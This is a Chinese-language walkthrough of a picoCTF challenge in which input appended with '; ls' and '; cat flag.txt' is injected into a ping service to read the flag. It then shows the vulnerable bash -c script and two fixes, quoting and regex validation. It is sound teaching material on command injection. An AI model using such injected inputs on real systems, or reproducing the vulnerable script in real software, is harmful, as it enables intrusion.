題目連結

https://learn.cylabacademy.org/library/757

題目解法

  1. 啟動後透過 nc 指令連線,連線後內容大致如下,可以輸入一個 IP 位址(題目為了安全性只允許8.8.8.8)。

    $ nc mysterious-sea.picoctf.net 54500
    Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8
    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.44 ms
    64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.43 ms
    
    --- 8.8.8.8 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1002ms
    rtt min/avg/max/mdev = 8.433/8.438/8.444/0.005 m
    
  2. 根據提示及猜測,題目極有可能是使用 ping 指令後面加上使用者輸入的內容,因此可能存在指令注入(Command Injection)。因此可以嘗試在 IP 位址後面加上 ; 再加上其他指令來執行,以下為嘗試的指令。可以看到執行後列出當前目錄下有兩個檔案,分別是 flag.txt 和 script.sh。

    $ nc mysterious-sea.picoctf.net 54500
    Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; ls
    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.41 ms
    64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.44 ms
    
    --- 8.8.8.8 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1002ms
    rtt min/avg/max/mdev = 8.408/8.425/8.442/0.017 ms
    flag.txt
    script.sh
    
  3. 接著嘗試使用 cat 指令來查看 flag.txt 的內容,成功取得 flag。

    $ nc mysterious-sea.picoctf.net 54500
    Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): 8.8.8.8; cat flag.txt
    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
    64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=8.41 ms
    64 bytes from 8.8.8.8: icmp_seq=2 ttl=115 time=8.43 ms
    
    --- 8.8.8.8 ping statistics ---
    2 packets transmitted, 2 received, 0% packet loss, time 1002ms
    rtt min/avg/max/mdev = 8.412/8.423/8.434/0.011 ms
    picoCTF{p1n----------------------------------4f2}
    

同廠加映

在注入 ls 指令時可以看到其實題目也有提供 script.sh 內容,內容如下:

1
2
3
4
#!/bin/bash
echo -n "Enter an IP address to ping! (We have tight security because we only allow '8.8.8.8'): "
read domain
bash -c "ping -c2 $domain"

可以看到腳本是直接將使用者輸入的內容放入 bash -c 裡面執行,因此會有指令注入(Command Injection)的問題,至於要如何安全執行呢,可以使用以下幾種方法。

  1. 移除 bash -c 與不必要的 Shell 解析

    1
    2
    3
    4
    5
    6
    
    #!/bin/bash
    echo -n "Enter an IP address to ping!: "
    read domain
    
    # 即使這裡加了引號,在某些情況下仍可能被繞過,建議搭配下方的過濾機制
    ping -c2 "$domain"
    
  2. 使用嚴格的正規表示法(Regex)驗證

     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    
    #!/bin/bash
    echo -n "Enter an IP address: "
    read domain
    
    # 定義 IPv4 的正規表示法格式
    if [[ $domain =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
        ping -c2 "$domain"
    else
        echo "Invalid input! Only IP addresses are allowed."
        exit 1
    fi